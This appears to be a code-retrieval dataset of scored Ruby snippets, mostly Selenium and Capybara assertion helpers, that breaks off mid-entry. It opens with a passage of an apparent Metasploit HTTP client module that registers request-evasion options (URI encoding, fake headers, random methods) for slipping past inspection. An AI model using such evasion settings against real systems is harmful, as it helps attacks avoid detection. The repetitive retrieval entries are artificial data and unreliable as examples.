OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),\n OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION']),\n OptFloat.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),\n OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]),\n OptBool.new('HttpTraceHeadersOnly', [false, 'Show HTTP headers only in HttpTrace', false]),\n OptString.new('HttpTraceColors', [false, 'HTTP request and response colors for HttpTrace (unset to disable)', 'red/blu'])\n ], self.class\n )\n\n register_evasion_options(\n [\n OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-noslashes', 'hex-random', 'hex-all', 'u-normal', 'u-all', 'u-random']]),\n OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]),\n OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]),\n OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]),\n OptEnum.new('HTTP::pad_method_uri_type', [false, 'What type of whitespace to use between the method and uri', 'space', ['space', 'tab', 'apache']]),\n OptEnum.new('HTTP::pad_uri_version_type', [false, 'What type of whitespace to use between the uri and version', 'space', ['space', 'tab', 'apache']]),\n OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]),\n OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]),\n OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]),\n OptBool.new('HTTP::version_random_valid', [false, 'Use a random, but valid, HTTP version for request', false]),\n OptBool.new('HTTP::version_random_invalid', [false, 'Use a random invalid, HTTP version for request', false]),\n OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]),\n OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]),\n OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]),\n OptBool.new('HTTP::pad_fake_headers', [false, 'Insert random, fake headers into the HTTP request', false]),\n OptInt.new('HTTP::pad_fake_headers_count', [false, 'How many fake headers to insert into the HTTP request', 0]),\n OptBool.new('HTTP::pad_get_params', [false, 'Insert random, fake query string variables into the request', false]),\n OptInt.new('HTTP::pad_get_params_count', [false, 'How many fake query string variables to insert into the request', 16]),\n OptBool.new('HTTP::pad_post_params', [false, 'Insert random, fake post variables into the request', false]),\n OptInt.new('HTTP::pad_post_params_count', [false, 'How many fake post variables to insert into the request', 16]),\n OptBool.new('HTTP::uri_fake_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', false]),\n OptBool.new('HTTP::uri_fake_params_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', false]),\n OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false])\n#\n# Remaining evasions to implement\n#\n# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via \"Transfer-Encoding: chunked\"', false]),\n# OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]),\n ], self.class\n )\n register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ])\n register_autofilter_services(%W{ http https })\n\n # Initialize an empty cookie jar to keep cookies\n self.cookie_jar = Set.new\n end", "title": "" }, { "docid": "495419ea568ab1c50e1d8023645231e6", "score": "0.5384953", "text": "def options() end", "title": "" }, { "docid": "ce8304aa730f59d26c63cd59abab524f", "score": "0.5382586", "text": "def app_server_integration(force = T.unsafe(nil)); end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.53808784", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.5380589", "text": "def options; end", "title": "" } ]
f86a46406c69b424b988ae66f5d15fea
Assert and wait for locator element to not contain text.
[ { "docid": "4084bbfde63e1a303023b1ede79360f5", "score": "0.81129897", "text": "def assert_element_does_not_contain(locator, text, options={})\n element(locator).assert_does_not_contain(text, options)\n end", "title": "" } ]
[ { "docid": "446f9d94aa41c1da4a3d0b65bc07921f", "score": "0.8416794", "text": "def assert_element_does_not_contain_text(locator, text, message=nil, timeout=default_wait_for_time)\n wait_for({:message => message, :timeout => timeout}) {element_does_not_contain_text(locator, text)}\n end", "title": "" }, { "docid": "e6f9043d81109779e61781755ef4bb20", "score": "0.7633497", "text": "def assert_text_not_present(pattern, message = \"Expected '#{pattern}' to be absent, but it was present\", options = {})\n wait_for({:message => message}.merge(options)) do\n !selenium.is_text_present(pattern)\n end\n end", "title": "" }, { "docid": "d235d4d0bae20f0bc959cdf7021ef76b", "score": "0.7598877", "text": "def element_does_not_contain_text(locator, text)\n return true unless selenium.is_element_present(locator)\n return !get_inner_html(locator).include?(text)\n end", "title": "" }, { "docid": "c3b7ed231f51c3ac49d1a85bafa3ff16", "score": "0.7588474", "text": "def element_does_not_contain_text(locator, text)\n return true unless is_element_present(locator)\n return !element(locator).contains?(text)\n end", "title": "" }, { "docid": "39aaa3143b55be8f3473bf507c219c0e", "score": "0.74676734", "text": "def wait_for_text_to_exclude(locator, string)\n wait_for { text(locator).exclude?(string) }\n end", "title": "" }, { "docid": "cc9ac42a6a1c84c94583e657d93e6f09", "score": "0.72732496", "text": "def assert_element_not_present(locator)\n wait_for(:message => \"Expected element '#{locator}' not to be present, but it was\") do\n !selenium.is_element_present(locator)\n end\n end", "title": "" }, { "docid": "e4b51238390afb3c7990a937f550b5d7", "score": "0.6833509", "text": "def has_no_field_value?(locator, text)\n if find_field(locator).value != text\n true\n else\n raise Capybara::ExpectationNotMet, \"expected to not find field #{locator} with a value of #{text}.\"\n end\n end", "title": "" }, { "docid": "dc1226545cb24e0710a983701c2480be", "score": "0.67674446", "text": "def assert_not_checked(locator)\n assert_element_present locator\n wait_for(:message => \"Expected '#{locator}' not to be checked\") do\n !selenium.is_checked(locator)\n end\n end", "title": "" }, { "docid": "bca2aa6c65249eba921ee465a31405f8", "score": "0.6562369", "text": "def expect_page_to_not_have_content(content)\n\n page.should_not have_content(content)\n\n end", "title": "" }, { "docid": "ed1ce4095d53039d83000a94aecd7c7b", "score": "0.6535885", "text": "def text_not_search (string,text)\n\tif $browser.text.include? string \n\t\tputs \"Error: #{text} should not be present\"\n\tend\nend", "title": "" }, { "docid": "53fd2860743d3e77fc37b4ebb18ea065", "score": "0.6505562", "text": "def wait_for_no_field_value(locator, expected_value, options={})\n builder = JavascriptExpressionBuilder.new\n builder.find_element(locator).element_value_is_not(expected_value)\n wait_for_condition builder.script, options[:timeout_in_seconds]\n end", "title": "" }, { "docid": "f0c38d8c8e8e9a7923ea0c48b9e44cbc", "score": "0.64961827", "text": "def assert_no_missing_translations(msg = \"\")\n assert_select \"span[class=translation_missing]\", false, \"Missing translation #{msg}\"\n end", "title": "" }, { "docid": "964a28a6cde92939538a956e12d1a1e9", "score": "0.64918643", "text": "def login_button_should_not_be_visible\n\n page.should_not have_text(LOGIN_BUTTON_TEXT)\n\n end", "title": "" }, { "docid": "b625fbd755d83f02e035f797a711bd43", "score": "0.6482831", "text": "def sign_up_button_should_not_be_visible\n\n page.should_not have_text(SIGN_UP_BUTTON_TEXT)\n\n end", "title": "" }, { "docid": "d827908aae7ff48f45a2aa6ef234aad2", "score": "0.64219975", "text": "def assert_text(locator, text, options={})\n assert_element_present locator\n wait_for(options) do |context|\n actual = selenium.get_text(locator)\n context.message = \"Expected text '#{text}' to be full contents of #{locator} but was '#{actual}')\"\n text == actual\n end\n end", "title": "" }, { "docid": "56093bde398548cd4d8976fea9b0b6e3", "score": "0.6412775", "text": "def assert_dashboard_widget_hidden\n expect(page).to_not have_selector('.confirm-account')\n\n # Empty Dashboard Cell\n expect(page).to have_selector('p', text: t('dashboard.empty.display.empty_message'))\n end", "title": "" }, { "docid": "7ef7e0e6f690e706c6f06335409132ce", "score": "0.6396786", "text": "def wait_for_no_text(pattern, options={})\n builder = JavascriptExpressionBuilder.new\n\t\t builder.find_text(pattern, options).append(\"text_match == false;\")\n wait_for_condition builder.script, options[:timeout_in_seconds]\n end", "title": "" }, { "docid": "dcab286020d1f92b1820ec96b2c2f090", "score": "0.63329744", "text": "def assert_element_contains(locator, text, message=nil)\n actual_message = \"#{locator} should contain #{text}\"\n actual_message = message + \": \" + actual_message unless message.nil?\n wait_for(:message => actual_message) do\n element_contains_text(locator, text)\n end\n end", "title": "" }, { "docid": "320ae7f6aff88be723437df13f7bb38f", "score": "0.63141304", "text": "def test_capybara_can_ensure_something_is_not_found\n on_visiting_browserkoans_test_page do\n assert_equal __(false), page.has_selector?('#not-there')\n assert_nothing_raised do\n expect(page).to_not have_selector(__('#not-there'))\n end\n end\n end", "title": "" }, { "docid": "12b7b51ef3ea3e8eec6e91a673054ab0", "score": "0.6270802", "text": "def wait_for_no_element(locator, options={})\n builder = JavascriptExpressionBuilder.new\n builder.find_element(locator).append(\"element == null;\")\n wait_for_condition builder.script, options[:timeout_in_seconds]\n end", "title": "" }, { "docid": "db2ed165ba3c18a271d923dab3a61bfa", "score": "0.6262473", "text": "def assert_text_present(pattern, message = \"Expected '#{pattern}' to be present, but it wasn't\", options = {})\n wait_for({:message => message}.merge(options)) do\n selenium.is_text_present(pattern)\n end\n end", "title": "" }, { "docid": "b7dfe9ac0879abc65770d48ed86d4440", "score": "0.6254179", "text": "def assert_no_xpath(html, *args, &block)\n matcher = have_xpath(*args, &block)\n assert !matcher.matches?(send(__response_accessor).body), matcher.negative_failure_message\n end", "title": "" }, { "docid": "d2a7eaa34fd1b5e842488917827fda7a", "score": "0.6240286", "text": "def wait_until_element_disappears(type, name, timeout: 5)\n \t\twait = Selenium::WebDriver::Wait.new(timeout: timeout)\n \t\twait.until { !@selenium_driver.find_element(type, name).visible? }\n\tend", "title": "" }, { "docid": "2a0aa5b95e0d418ae10decab5a26864d", "score": "0.6206564", "text": "def wait_not_visible!(timeout=@wait)\n wait_for(timeout: timeout, message: \"Element at #{locator} is still visible\") { !visible? }\n end", "title": "" }, { "docid": "986ec8baaa305d4471e2b9d225a50785", "score": "0.6193944", "text": "def assert_element_text(ele_xpath, expected_value)\n actual_value = assert_element_exist(ele_xpath).first.text\n self.test.assert_equal(expected_value, actual_value)\n end", "title": "" }, { "docid": "8464d955a394e5987e1c53b1f002d464", "score": "0.6186451", "text": "def check_element_text(how, what, text)\n e = $driver.find_element(how, what)\n e.text.should == text\n end", "title": "" }, { "docid": "3ba75233a3cf504eb1f8c8c91483533e", "score": "0.614447", "text": "def class_css_element_is_not_displayed(selector)\n\n page.should_not have_selector(selector)\n\n end", "title": "" }, { "docid": "ee2e962160ae49ff8bf713e58785242c", "score": "0.6128119", "text": "def want_involved_text_is_not_displayed\n\n page.should_not have_content(read_file_content(WANT_TO_GET_INVOLVED_TEXT_PATH))\n\n end", "title": "" }, { "docid": "32c1eda35b509c73a5c3b0c874d2389d", "score": "0.61251473", "text": "def element_contains_text(locator, text)\n element(locator).assert_contains(text)\n end", "title": "" }, { "docid": "eb216299fc550ca8d75bc06cf2d5e802", "score": "0.6119705", "text": "def your_league_pop_up_should_not_be_displayed\n\n page.should_not have_content(read_file_content(YOUR_LEAGUES))\n sleep(THREAD_SLEEP_1)\n\n end", "title": "" }, { "docid": "6d423352506554813df7bbb0542f1200", "score": "0.6011226", "text": "def wait_to_disappear(sym,id)\n @wait.until {\n element_arr = driver.find_elements(sym,id)\n element_arr.size > 0 and !element_arr[0].displayed? #wait until the element both exists and is displayed\n }\n end", "title": "" }, { "docid": "17c90e55b90b27b5ca6bd7d2b501f866", "score": "0.6007155", "text": "def wait_not_visible!(timeout=@wait)\n self.el\n wait_for(timeout: timeout, message: \"Element at #{location} is still visible\") { !visible? }\n end", "title": "" }, { "docid": "2346981f7d82df26bb16fccbf422e4c2", "score": "0.5976909", "text": "def wait_for_element_to_disapper(id, waitTime)\n\n\t\twait_for_elements_do_not_exist [\"* marked:'#{id}'\"], timeout: waitTime\n\tend", "title": "" }, { "docid": "a5e53645fe53e2d0aa8cf5ef225c8141", "score": "0.5975932", "text": "def wait_for_element_disappear(time)\n spinner=@driver.find_element(SPINNER)\n wait=Selenium::WebDriver::Wait.new(:timeout=>time)\n wait.until {\n !spinner.displayed?\n }\n end", "title": "" }, { "docid": "7a3d6c611eebcbde00a2f868a7e5dece", "score": "0.5968205", "text": "def tour_should_not_be_visible\n expect(page).not_to have_css 'div.hopscotch-bubble'\nend", "title": "" }, { "docid": "3e886d6c0ef6c5e1c0cb20739aa4678c", "score": "0.5966422", "text": "def wait_for_not_visible(locator, options={})\n builder = JavascriptExpressionBuilder.new\n wait_for_condition builder.not_visible(locator).script, options[:timeout_in_seconds]\n end", "title": "" }, { "docid": "b16d32343a451b92078645956eb04a96", "score": "0.59622604", "text": "def assert_no_records_match\n sleep 2\n expect(@polaris.login_home_page.text).to include(\"No matching records found\")\n end", "title": "" }, { "docid": "f30daa5c435aea154334113676741a4e", "score": "0.5956792", "text": "def entry_should_not_be_visible(entry)\n expect(page).to have_no_css \"#feed-entries #entry-#{entry.id}\"\nend", "title": "" }, { "docid": "167b355a67fa30b1a6182385cf24a5b3", "score": "0.5955018", "text": "def assert_does_not_contain(*args)\n matcher = contain(*args)\n assert !matcher.matches?(send(__response_accessor).body), matcher.negative_failure_message\n end", "title": "" }, { "docid": "a3d167375f39ab2705178eb9872b2e2f", "score": "0.5944035", "text": "def check_element_partial_text(access_type, expected_value, access_name, test_case)\n element_text = get_element_text(access_type, access_name)\n\n if test_case\n expect(element_text).to include(expected_value)\n else\n expect(element_text).to_not include(expected_value)\n end\nend", "title": "" }, { "docid": "41658becaa569b4076609cd25d0eeb56", "score": "0.59320694", "text": "def element_text_should_be(loc, text)\n raise(Exception::ElementMatchError, \"The element's text #{@browser.element(parse_location(loc)).text} does not equal #{text}.\") unless\n @browser.element(parse_location(loc)).text == text \n end", "title": "" }, { "docid": "0eb3865dc52daed835bfb6cba502e0d8", "score": "0.5899218", "text": "def element_contains_text(locator, text)\n selenium.is_element_present(locator) && get_inner_html(locator).include?(text)\n end", "title": "" }, { "docid": "28077346ada99afda19e60445d980beb", "score": "0.5899206", "text": "def assert_wait_for_text(text, time_out=15)\n fail \"Text is empty\" if text==nil\n puts \"assert_wait_for_text (#{text})\"\n res=query(\"view\",:text)\n wait_for_element_exists(\"#{$g_query_str} text:'#{text}'\",{:timeout=>time_out.to_i,:timeout_message=>\"#{res}\"})\n end", "title": "" }, { "docid": "b0a76fcf84bccc37b9a92d3e73123c0e", "score": "0.58564246", "text": "def element_text_should_contain(loc, text)\n raise(Exception::ElementMatchError, \"The element's text #{@browser.element(parse_location(loc)).text} does not contain the text #{text}.\") unless\n @browser.element(parse_location(loc)).text.include? text\n end", "title": "" }, { "docid": "482e50ef4725a29b74c13408d85030e0", "score": "0.58510154", "text": "def assert_have_no_selector(expected)\n hs = HaveSelector.new(expected)\n assert !hs.matches?(response_body), hs.negative_failure_message\n end", "title": "" }, { "docid": "b2be627fc24398048dd983494fb577ff", "score": "0.58281595", "text": "def should_hide_alert(alert_id)\n expect(page).to have_no_css \"div##{alert_id}\", visible: true\nend", "title": "" }, { "docid": "31aeff2952118ced8e0f125bfdda00dd", "score": "0.58227044", "text": "def wait_for_text(text)\n Watir::Wait.until { @browser.text.include? text }\n end", "title": "" }, { "docid": "7d8c6af7c19377f396ea9e41969ab60c", "score": "0.58167505", "text": "def assert_dom_not_equal(expected, actual, message=\"\")\n clean_backtrace do\n expected_dom = HTML::Document.new(expected).root\n actual_dom = HTML::Document.new(actual).root\n full_message = build_message(message, \"<?> expected to be != to\\n<?>.\", expected_dom.to_s, actual_dom.to_s)\n assert_block(full_message) { expected_dom != actual_dom }\n end\n end", "title": "" }, { "docid": "4f297bbf850b32293db27e6520b98c24", "score": "0.5791733", "text": "def verify_alt_message (message)\n wait_for_element_exists(\"UILabel text:'#{message}'\")\n end", "title": "" }, { "docid": "7eed9264566adbcbf0167af3fc506296", "score": "0.57646877", "text": "def assert_dom_not_equal(expected, actual, message = nil, strict: false, html_version: nil)\n expected_dom, actual_dom = fragment(expected, html_version: html_version), fragment(actual, html_version: html_version)\n message ||= \"Expected: #{expected}\\nActual: #{actual}\"\n assert_not compare_doms(expected_dom, actual_dom, strict), message\n end", "title": "" }, { "docid": "e46511723634dd9322a28478c19419a3", "score": "0.5762969", "text": "def is_text_present(ele)\n $log.info \"verifying #{ele} present or not\"\n if s=$browser.button(:id, \"#{ele}\").exists?\n $log.info \"{ele} available on the page\"\n elsif\n $log.info \"failed to find the element: #{ele}!\"\n raise Exception.new(\"Failed to find the element: #{ele}!\")\n end\n \nend", "title": "" }, { "docid": "a0bf635b9765ee7771dfdc5137b7372d", "score": "0.5759083", "text": "def assert_text_on_screen(validation_msg)\n\t\tsleep(2)\n\t\tputs \"#{validation_msg}\"\n\t\ttext_from_screen=query(\"*\", \"text\")\n\t\telement_present=text_from_screen.include? validation_msg\n\t\tassert_equal true, element_present\n\tend", "title": "" }, { "docid": "a5940130b377a33d219381e9054361a2", "score": "0.5755709", "text": "def negative_failure_message\n \"expected following text to not match selector #{@expected}:\\n#{@document}\"\n end", "title": "" }, { "docid": "ff40f1ea5cca1e20fcab4470ca1161ad", "score": "0.5749441", "text": "def check_excepted_content(*args)\n if args.length == 1\n expect(page).to have_selector(args[0].keys[0], args[0].values[0])\n else\n expect(page).to have_selector(args[0].keys[0], args[0].values[0], text: args[1])\n end\nend", "title": "" }, { "docid": "0455cfa1d6947f641365d65a96cb7022", "score": "0.5747681", "text": "def apartment_order_form_not_present?\n within(\".main\") do\n expect(page).not_to have_content(I18n.t('retail_order.staff_order_type'))\n expect(page).not_to have_content(I18n.t('retail_order.personal_order'))\n expect(page).not_to have_content(I18n.t('retail_order.apartment_order'))\n expect(page).not_to have_content(I18n.t('retail_order.customer_id'))\n expect(page).not_to have_content(I18n.t('retail_order.trade_discount'))\n expect(page).not_to have_content(I18n.t('retail_order.shipping_method'))\n expect(page).not_to have_content(I18n.t('retail_order.carry_out'))\n expect(page).not_to have_content(I18n.t('retail_order.messenger_service'))\n expect(page).not_to have_content(I18n.t('retail_order.pack_out'))\n expect(page).not_to have_content(I18n.t('retail_order.internal_comments'))\n expect(page).not_to have_content('apartment_customer@elanstudio.com')\n expect(page).not_to have_content('internal comments for a customer ordering from the apartment')\n end\nend", "title": "" }, { "docid": "c514eb0345eb253a32f533249e483563", "score": "0.5742145", "text": "def assert_no_difference(expression, &block)\n assert_difference expression, 0, &block\n end", "title": "" }, { "docid": "0e3f0f1695971afa99cbdb85c05883d5", "score": "0.57329226", "text": "def wait_for_not_visible(locator, seconds = 3)\n how, what = parse_locator(locator)\n\n implicit_wait(seconds)\n\n begin\n wait_for(seconds) do\n begin\n elements = driver.find_elements(how, what)\n elements.empty? || elements.map(&:displayed?).none?\n rescue Selenium::WebDriver::Error::StaleElementReferenceError\n false\n end\n end\n rescue Selenium::WebDriver::Error::TimeoutError\n true\n rescue Net::ReadTimeout\n true\n ensure\n implicit_wait(timeout)\n end\n end", "title": "" }, { "docid": "a5a8535442c64ff91f1bfb1bb9a58f3e", "score": "0.57263523", "text": "def assert_have_no_selector(expected)\n hs = HaveSelector.new(expected)\n assert !hs.matches?(response), hs.negative_failure_message\n end", "title": "" }, { "docid": "748da31b92899e4b2bb7eecafe214764", "score": "0.57171464", "text": "def verify_alt_button_text (text)\n wait_for_element_exists(\"UIButtonLabel text:'#{text}'\")\n end", "title": "" }, { "docid": "bc4d18e90e3caf52e61a3f05127664ab", "score": "0.57114244", "text": "def wait(message, timeout=$element_timeout)\n Selenium::WebDriver::Wait.new :timeout => timeout, :interval => 1, :ignore=>[Selenium::WebDriver::Error::NoSuchElementError,Selenium::WebDriver::Error::StaleElementReferenceError], :message=>message\n end", "title": "" }, { "docid": "124d56d0fe4a07eae39f93372ea8abc4", "score": "0.5651422", "text": "def negative_failure_message\n \"expected following text to not match selector #{@expected}:\\n#{@document}\"\n end", "title": "" }, { "docid": "124d56d0fe4a07eae39f93372ea8abc4", "score": "0.5651422", "text": "def negative_failure_message\n \"expected following text to not match selector #{@expected}:\\n#{@document}\"\n end", "title": "" }, { "docid": "24809012e818cb5e479bc68be46173a5", "score": "0.56481093", "text": "def check_element_value_not_empty(id, css, timeout=nil)\r\n if css == nil\r\n element = find_by_id(id, timeout)\r\n else\r\n element = find_by_id_and_class(id, css, timeout)\r\n end\r\n # We have to be a little fuzzy, because we don't know what kind of element it is.\r\n # <div> will have text, <textarea> will have value.\r\n elementText = normalizeNewlines(element.text)\r\n elementValue = normalizeNewlines(element.value)\r\n if elementValue == \"\" and elementText == \"\"\r\n raise \"Element \\\"\" + id + \"\\\" is empty when it is not supposed to be.\"\r\n end\r\n end", "title": "" }, { "docid": "be5995c951eeeb3dba2e055904083235", "score": "0.56334615", "text": "def assert_not_include(collection, element, message = \"\")\n full_message = build_message(message, \"<?> expected not to be included in \\n<?>.\",\n element, collection)\n assert_block(full_message) { !collection.include?(element) }\n end", "title": "" }, { "docid": "1fb692a7267e5f9580a4cca980499208", "score": "0.56120396", "text": "def check_element_text(access_type, expected_value, access_name, test_case)\n element_text = get_element_text(access_type, access_name)\n if test_case\n expect(element_text).to eq expected_value\n else\n expect(element_text).to_not eq expected_value\n end\nend", "title": "" }, { "docid": "4fbaf17cd41b777a460d6196328be6f4", "score": "0.559138", "text": "def assertNotEqualWithMessageTest expected, value, message\n assertNotEqual expected, value, message\n end", "title": "" }, { "docid": "7b8eb2b48a0722d89a54c797ad83a96d", "score": "0.5584152", "text": "def assert_not_css_class_text_area_with_3_parameters_content(content_from_file,content_from_variable)\n\n page.should_not have_content(read_file_content(content_from_file) + content_from_variable + read_file.to_s)\n\n end", "title": "" }, { "docid": "23f9cd7f106210c06f0c1507e059efd6", "score": "0.5582837", "text": "def raise_no_element_error\n raise Selenium::WebDriver::Error::NoSuchElementError, 'An element could not be located on the page using the given search parameters.'\n end", "title": "" }, { "docid": "fe15f3c897e87fe6d4896717c978feab", "score": "0.55815446", "text": "def test_text_is_present\n @selenium.open \"/\"\n assert @selenium.text? \"Advanced Search\"\n end", "title": "" }, { "docid": "990098ac220fc74dc89e3561bb5013af", "score": "0.5579036", "text": "def assert_element_present(locator, params = {})\n params = {:message => \"Expected element '#{locator}' to be present, but it was not\"}.merge(params)\n wait_for(params) do\n selenium.is_element_present(locator)\n end\n end", "title": "" }, { "docid": "b1907db49f080dd8ee32baca57981e36", "score": "0.55741525", "text": "def wait_for_element_to_disappear(element)\n @wait.until {\n begin\n !element.displayed?\n rescue\n break\n end\n }\n end", "title": "" }, { "docid": "3ae29c1362d1e106b838ea915b146a95", "score": "0.5572444", "text": "def entry_should_not_be_highlighted(entry)\n entry_should_be_visible entry\n within \"#feed-entries #entry-#{entry.id}\" do\n expect(page).not_to have_css 'a.open-entry-link.highlighted-entry'\n expect(page).not_to have_css 'i.fa-caret-right.current-entry', visible: true\n end\nend", "title": "" }, { "docid": "82af45db4467774f107d19b7a5157656", "score": "0.5552652", "text": "def text_is_on_page(text, timeout = WAITING_TIMEOUT)\n self.wait_until(timeout, \"\\n\\nERROR! Text '#{text}' was not found after #{timeout} seconds of waiting!\\n\") do\n self.text.include? text\n end\n end", "title": "" }, { "docid": "35438c03e75dd7f1b5609fce92dd3b45", "score": "0.5531092", "text": "def check_label_content(id, text, timeout=nil)\r\n if (text == \"\")\r\n # Apparently, if a label is empty, GWT just doesn't render it\r\n find_by_id_and_class_fail(id, \"gwt-Label\", timeout)\r\n else\r\n label = find_by_id_and_class(id, \"gwt-Label\", timeout);\r\n label.should have_content(text)\r\n end\r\n end", "title": "" }, { "docid": "22dfb26588f82e542db2fa6ef538f831", "score": "0.55291826", "text": "def wait_for_element_and_type(element, text)\n wait_for_update_and_click element\n element.clear\n element.send_keys text\n end", "title": "" }, { "docid": "067b21f20292d0f5af9e76790db3faf5", "score": "0.5528532", "text": "def assert_rock_text\n @driver.find_element(class: @rock_text).text\n end", "title": "" }, { "docid": "99ff4da1745a217a0599af9d01ea97f9", "score": "0.5528345", "text": "def tolerate_not_found\n begin\n yield\n rescue Capybara::ElementNotFound\n nil\n end\n end", "title": "" }, { "docid": "775573382eab13876612e25b61b04fd5", "score": "0.54948837", "text": "def expect_page_to_not_have_content_with_uniquenumber(content)\n\n page.should_not have_content(content + read_file.to_s)\n\n end", "title": "" }, { "docid": "4eaa1702ca4c49082e1d38861f5de3d9", "score": "0.5494378", "text": "def assertNotEqualTest expected, value\n assertNotEqual expected, value\n end", "title": "" }, { "docid": "bf19b9d08d120693ee3d9a3a2a68908b", "score": "0.5492324", "text": "def admin_should_not_be_logged_in\n page.should_not have_content('Log Out')\n end", "title": "" }, { "docid": "6fc066f570661861955f0db9a7dda70e", "score": "0.54856306", "text": "def wait_for_no_spinner\n sleep 0.01\n within(:xpath, '//html/body') do\n SitePrism::Waiter.wait_until_true { page.has_no_css? '.fa-spinner' }\n SitePrism::Waiter.wait_until_true { page.has_no_css? '.fa-spin' }\n SitePrism::Waiter.wait_until_true { page.has_no_css? '.blockUI' }\n SitePrism::Waiter.wait_until_true { page.has_no_css? '.blockMsg' }\n SitePrism::Waiter.wait_until_true { page.has_no_css? '.blockPage' }\n end\n sleep 0.01\n end", "title": "" }, { "docid": "082b87719e32878945bf697e7273e025", "score": "0.54768974", "text": "def assert_does_not_contain(collection, x) # :nodoc:\n !assert_contains(collection, x)\n end", "title": "" }, { "docid": "c11489e36b80a9c61ab1905589b633cc", "score": "0.547624", "text": "def wait_for_disappear(element, timeout = 5)\n\tstart_time = time_now_sec\n\tbegin\n\t\twhile element.displayed? do\n\t\t\tif time_now_sec >= start_time + timeout\n\t\t\t\tfail(element.to_s + \" did not disappear\")\n\t\t\tend\n\t\tend\n\trescue Selenium::WebDriver::Error::StaleElementReferenceError\n\t\treturn\n\trescue Selenium::WebDriver::Error::NoSuchElementError\n\t\treturn\n\tend\nend", "title": "" }, { "docid": "917e81709b00b5d711a54458fdfd4609", "score": "0.5468161", "text": "def elements_missing\n elements_to_check.reject { |name| there?(name) }\n end", "title": "" }, { "docid": "0b60d710103caa7ab8e895f70fa5a183", "score": "0.5466896", "text": "def element_visible\n assert_exists(element.visible?(\"failed\"))\n end", "title": "" }, { "docid": "88482171c775d80737533cb845a6a150", "score": "0.5458603", "text": "def 